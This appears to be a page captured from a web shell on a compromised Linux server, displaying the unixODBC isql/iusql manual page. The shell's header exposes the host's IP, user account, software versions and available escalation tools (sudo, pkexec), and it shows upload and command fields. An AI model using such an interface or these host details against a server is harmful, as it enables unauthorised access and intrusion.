Private
Server IP : 195.201.23.43  /  Your IP : 3.12.107.50
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/man/man1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/man/man1/isql.1
.TH isql 1 "Thu 14 Jan 2021" "version 2.3.11" "unixODBC manual pages"

.SH NAME
isql, iusql - unixODBC interactive SQL command-line tools

.SH SYNOPSIS
\fBisql\fR \fIDSN\fR [\fIUSER\fR [\fIPASSWORD\fR]] [\fIoptions\fR] 

.SH DESCRIPTION
\fBisql\fR and \fBiusql\fR are command-line tools allowing users to execute SQL
interactively or in batches.

The tools provide several useful features, including an option to generate
output wrapped in an HTML table.

\fBiusql\fR is the same as \fBisql\fR but includes built-in Unicode support.
Some data sources only work with \fBiusql\fR.

.SH ARGUMENTS

.IP \fBDSN\fR
The Data Source Name (DSN) used to connect to the SQL database. unixODBC looks
for the specified DSN in /etc/odbc.ini and $HOME/.odbc.ini, with the latter
taking precedence.

When searching the configuration files, unixODBC looks for a bare name. If the
DSN begins with a semicolon, it is treated as a connection string. The connection
string can contain a DSN and/or other semicolon-separated parameters.

.IP \fBUSER\fR
Specifies the database user or role under which the connection should be made.

This parameter overrides any \fBUID\fR specified in the data source
configuration files.

.IP \fBPASSWORD\fR
Password required to access the database for the specified \fBUSER\fR.

This parameter overrides any \fBPASSWORD\fR specified in the data source
configuration files.

.SH OPTIONS

.IP \fB\-b\fR
Run 'isql' in non-interactive batch mode. In this mode, 'isql' processes from
standard input, expecting one SQL command per line.

.IP \fB\-d\fIDELIMITER\fR
Delimit columns with the specified \fIdelimiter\fR.

.IP \fB\-x\fIHEX\fR
Delimit columns with the character represented in hexadecimal by \fIHEX\fR. The
hexadecimal code must be in the format 0xNN (e.g. 0x09 for the TAB character).

.IP \fB\-w\fR
Format the result as an HTML table.

.IP \fB\-c\fR
Output the names of the columns on the first row. This option can only be used
with the \fB\-d\fR or \fB\-x\fR options.

.IP \fB\-m\fINUM\fR
Limit the column display width to \fINUM\fR characters.

.IP \fB\-l\fILOCALE\fR
Set the character locale to \fILOCALE\fR.

.IP \fB\-q\fR
Wrap the character fields in double quotes.

.IP \fB\-3\fR
Use calls from ODBC version 3.

.IP \fB\-n\fR
Process multiple lines of SQL, terminated with the GO command.

.IP \fB\-e\fR
Use SQLExecDirect instead of Prepare.

.IP \fB\-k\fR
Use SQLDriverConnect.

.IP \fB\-v\fR
Enable verbose mode, fully describing all errors. This option is useful for debugging.

.IP \fB\-\-version\fR
Display the program version.

.IP \fB\-L\fINUM\fR
Set the maximum number of characters displayed from a character field to \fINUM\fR.
The default value is 300 characters.

.SH COMMANDS
This section briefly describes some \fBisql\fR and \fBiusql\fR run-time commands.

.B help
.RS
List all tables in the database.
.RE

.B help \fItable\fR
.RS
List all columns in the \fItable\fR.
.RE

.B help help
.RS
List all help options.
.RE

.SH EXAMPLES

.IP "A bare DSN:"

.nf
$ iusql WebDB MyID MyPWD \-w \-b < My.sql
.fi

Connects to the WebDB DSN as user MyID with password MyPWD, then executes the
commands in the My.sql file and returns the results wrapped in an HTML table.

Each line in My.sql must only contain one SQL command, except for the last
line, which must be blank (unless the \fB\-n\fR option is specified).

.IP "A DSN in a connection string:"

Note the leading semicolon on the connection string.

.nf
$ iusql ";DSN=WebDB" MyID MyPWD \-w \-b < My.sql
.fi

Options in the DSN may be overridden in the connection string:

.nf
$ iusql ";DSN=WebDB;Driver=PostgreSQL ODBC;UID=MyID;PASSWORD=secret;Debug=1;CommLog=1" \-v
.fi

.IP "A string DSN:"

A string DSN may be provided in its entirety, with no file DSN reference at all:

.nf
$ iusql ";Driver=PostgreSQL Unicode;UID=MyID;PASSWORD=secret" \-v
.fi

.SH TROUBLESHOOTING

.IP "Cryptic error messages"

Re-run \fBisql\fR or \fBiusql\fR with the \fB\-v\fR flag to get more information
from errors, and/or enable \fBTrace\fR mode in \fBodbcinst.ini\fR.

.IP "Missing driver definition"

Check that the driver name specified by the \fBDriver\fR entry in the
\fBodbc.ini\fR data-source definition is present in \fBodbcinst.ini\fR and
exactly matches the odbcinst.ini \fI[section name]\fR.

.IP "Unloadable or incompatible driver"

If the ODBC driver is properly specified for the data source, it is possible
that the driver is not loadable. Check for mix-ups between Unicode and ANSI
drivers, and verify the driver paths in the odbcinst.ini \fI[section name]\fR.

.IP "Unicode data sources with ANSI clients"

Some data sources are Unicode-only and require the use of \fBiusql\fR.
If \fBisql\fR reports
.nf
  [IM002][unixODBC][Driver Manager]Data source name not found and no default driver specified
  [ISQL]ERROR: Could not SQLConnect
.fi
but the data source and driver required are listed by
.nf
  odbcinst \-q \-d
.fi
and 
.nf
  odbcinst \-q \-s
.fi
then try \fBiusql\fR.

.SH FILES

.I /etc/odbc.ini
.RS
Configuration file containing system-wide Data Source Name (DSN)
definitions. See
.BR odbc.ini (5)
for more information.
.RE

.I $HOME/.odbc.ini
.RS
Configuration file containing user-specific Data Source Name (DSN)
definitions. See
.BR odbc.ini (5)
for more information.
.RE

.SH SEE ALSO
.BR unixODBC (7),
.BR odbcinst (1),
.BR odbc.ini (5)

"The \fIunixODBC\fB Administrator Manual (HTML)\fR"

.SH AUTHORS
The authors of unixODBC are Peter Harvey <\fIpharvey@codebydesign.com\fR> and
Nick Gorham <\fInick@lurcher.org\fR>.

For a full list of contributors, refer to the \fIAUTHORS\fR file.

.SH COPYRIGHT
unixODBC is licensed under the GNU Lesser General Public License. For details
about the license, see the \fICOPYING\fR file.
Private